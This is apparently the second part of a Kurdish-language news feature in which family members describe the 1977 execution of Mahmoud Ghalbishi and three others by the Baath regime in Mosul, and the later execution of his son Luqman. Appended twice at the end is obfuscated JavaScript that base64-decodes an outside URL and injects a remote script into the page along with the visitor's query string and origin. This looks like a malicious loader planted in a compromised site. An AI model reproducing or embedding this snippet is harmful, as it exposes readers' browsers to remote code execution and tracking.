خەیروللا تولفاح گۆتە مە: هەر وی دەمی مە كرینە دماكیـنێ دا و هێراینە و هاڤێتینە د رویباری دا
شێخان، سالار محەمەد دۆسكی:
2-2
چوونا مە ب مەرەما بەرەڤانیكرنێ بوو لدەف خالێ (سەدام حسێن ، خەیرولا تولفاح) ب مەرەما سڤكرنا سزایێ سێدارەدانێ ل سەر (مەحمود غلبیشی) ل گەل برایێ شەهید (مەحمود غلبیشی) چوو مە بەغدا مالا خەزیرێ خوە وی پەیوەندی ب كەسەكێ نێزیك خالێ (سەدام) ڤە كر، و روژا دوڤدا (ئیسماعیل) برایێ شەهیدی ل گەل (كامیرانی) كرێ خەزیرێ من چوونە دیوانا (خەیرولا تولفاح) ل گەل وی كابرایێ نێزیكی وی و ژڤان دروستكری، دەمێ پرسا (مەحمود)ی ل گەل ڤەكری و كو بزاڤا بكەت ل گەل (سەدام حسێن) سزایێ سێدارەدانێ ل سەر (مەحمود)ی كێمتر لێ بكەت، وەكی (ئیسماعیل) برایێ شەهید(مەحمود غلبیش) پشتی ڤەگەریانێ بوو مە چیرۆك ڤەگێرایی و ب چاڤێن روندك ڤە دگۆت: خەزیرێ سەدام گۆت هوون جەماعەتێن (مەلا مستەفا)ی ب شەڤ زارۆكێن مە دكوژن و ب رۆژ دهێن وەستەكاریێ بۆ دكەن، و هەرن وەستەكاریێ نەكەن و ئەڤە دێ گەهنە حەقێ خوە، پشتی چەند رۆژا ژڤێ سەرەدانێ (مەحمود غلبیشی) ل گەل چەند هەڤالێن دی هاتنە سێدارەدان.
سەرەرشتیاریێ پەروەردێ یێ خانەنشینكری رەشید محەمەد صالح پیرۆمەری، بەردەوامی دا گۆتنێن خوە و گۆت: پشتی شەهید (مەحمود غلبیشی) هاتیە سێدارەدان و بورینا دو هەیڤان ل سەر چوونا وی، خودێ كچەك دا من و یا نەخری بوو و ژ قەهر و كوڤانێن شەهیدی دا من ناڤی وێ كچا خوە كرە (برین)، گەلەك دلێ من دوفرا بوو، چونكە مرۆڤەكێ كوردپەروەر و دل پاك بوو، دلەكێ مەزن هەبوو و چ جاران هزر بۆ دوژمنی نەدكر، و هەر دەم من دگۆتێ هشیاری سیخورێن ئەمنێ بە، چونكە بەردەوام بەلاڤوكێن رێكخستنێ و دەنگۆباسێن پێشمەرگەی و رۆژنامە دگەهاندە من.
ئیحسان، كورێ شەهید (مەحمود غلبیشی)، بۆ رۆژناما ئەڤرۆ بەحسێ دوماهی جار دیتنا بابێ خوە دكەت و گۆت: دوماهی جار مە سەرەدانا وی ل زیندانێ‌كر ل مویسل كر، و مامێ من گۆت ئەڤە دوماهی سەرەدانە و دوماهی جارا ئەم دێ محمودی بینین، و دەمێ چووین ئێكێ خەلكێ كەركووكێ ژی ل گەل بوو دزیندانێ ڤە بناڤێ (خدر)، و زارۆكێن وی قورئان دخواندن ل زیندانێ و زێرەڤانا ل سەر بانێ زیندانێ دكرە گری، و دزانی ئەڤە دوماهی جارە ئەم ئێك و دو دبینین، و بابێ مە هەر چ نەبوو بێژیتە مە و چەند هەڤال گەل بوون.
حەمرا هەڤژینا شەهیدی زێدەتر گۆت: دەمێ ئەم بۆ دوماهی جار ل زیندانێ هەڤژینێ من ل گەل هەڤالێن خوە بتنێ سرودا نەتەوەیی (ئەی رەقب) دگۆت و دەستێن وا ل سەر ئێك بوون، و (سەبریا هەكاری) سرودەك دگۆت كو هەڤژینێ وێ ل گەل هەڤژینێ من دزیندانێ دا بوو و دوڤدا دەمێ مە ب دووماهی هات، و هەڤژینێ من دگۆت ئەم سەرا ئاخ و كەرامەت و نامیسا مللەتێ خوە هاتینە دەستەسەركرن و زەلام بۆ كوشتنێ نە و ئەم پەشێمانین، و ئەم دێ بینە شەهیدێن كورد و كوردستانێ، و هەر دگۆت یان كوردستان یان نەمان و یان كوردستان یان نەمان، دەمێ ژ زیندانێ ڤەگەریاین و نووچێ شەهید بوونا وی گەهشتیە مە ئەمنێ ئەم ئاگەهدار كرین، ب چ رەنگەكی نابیت تازی بهێتەدانان، وی دەمی چاڤدێریەكا مەزن و توند ل سەر مالا مە هەبوو، چ مرۆڤێن ە نەێریان سەرەدانا مە بكەن چونكە ئەمنێ چاڤدێریەك مەزن ل سەر مالا مە دكر، وی دەمی ئەمنا بەعسیا هار ب بوو و تەرمێ وی ژی نەداف مە.
حەمرایێ زێدەتر گۆت: هەر هەمی گاڤا شیرەتا وی ل مە ئەو بوو كو هەوە ئەمانەت مالا و مرۆڤێن خوە چ جارا قەهرا مە نەخوەن و چاڤێ هەوە ل ئێكو دو بیت.
پشتی شەهیدبوونا شەهید (محمود غلبیشی) ب چەند سالان، كورێ وی (لوقمان) ل دەسپێكا سالێن هەشتێیان دەست هاڤێتە كارێ رێكخستنێ و گەلەك گەف ژلایێ ئەمنێ ڤە ل سەر هاتنەكرن، وی گۆت بابێ من چ رێك هەلبژارت ئەژی دێ وێ دەوس و رێكێ چم، دایكا وی حەمرایێ بەحسێ شەهید بوونا كورێ خوە دكەت و گۆت: ل سالا 1985ێ كورێ من (لوقمان) هاتە دەستەسەركرن و هەر ئەو ژی كارێ رێكخستنێ دكر وی دەمی ئێك هەبوو یێ ئەمنێ دگۆتنێ(مەندیل) ئەوێ ئەمنێ یێ بناڤێ(مەندیل) بەرپرسێ گرێ باسێ بوو، و چوو دوكانا (حەجیێ) مرۆڤێ مە گۆتێ بێژە (لوقمان)ی راوستیت ئەگەر دهێتە دەستەسەركرن، ئەو (حەجیێ) مرۆڤێ مە ئێڤاری هاتە مەلا مە و ل گەل (لوقمان)ی ئاخفت و گۆتێ مام ئێكێ سورا بنافێ (مەندیل) برپرسێ دەڤەرێ یێ ئەمنێ یە، و هاتیە دەف من دوكانێ ئەڤجا ئەڤ هوشداری یە دایە من لەوما بێژم هشیاری خوە بی، كورێ من (لوقمان)ی گۆت بابێ من چ رێك هەلبژارت ئە ژی دێ وێ رێكێ (هەلبێرم) و جاران ئەز رێكا كوردینیێ بەرنادەم، و چەند رۆژ دەربازبوون و دەنگۆیێ گرتنا كورێ مە هات و 11 هەیڤان ما زیندانێ ڤە و دوڤدا هاتە سێدارەدان و تەرمێ وی رادەستی مە كر و ل گورستانا شاخكێ هاتە ڤەشارتن.
جهێ ئاماژەكرنێ یە كو شەهید (مەحمود غلیشی) ل گەل هەر ئێك ژ شەهیدان (شەعبان محەمەد دێریشكی، میلازم عەبدولقادر پێداوی عابد عەبدوللا زاویتەی) ل رێككەفتی 21/9/1977 ل زیندانا باژێرێ مویسل ژلایێ رژێما بەعس ڤە هاتینە سێدارەدان و جەنازێن وانژی رادەستی خودانا نەهاتنەكرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
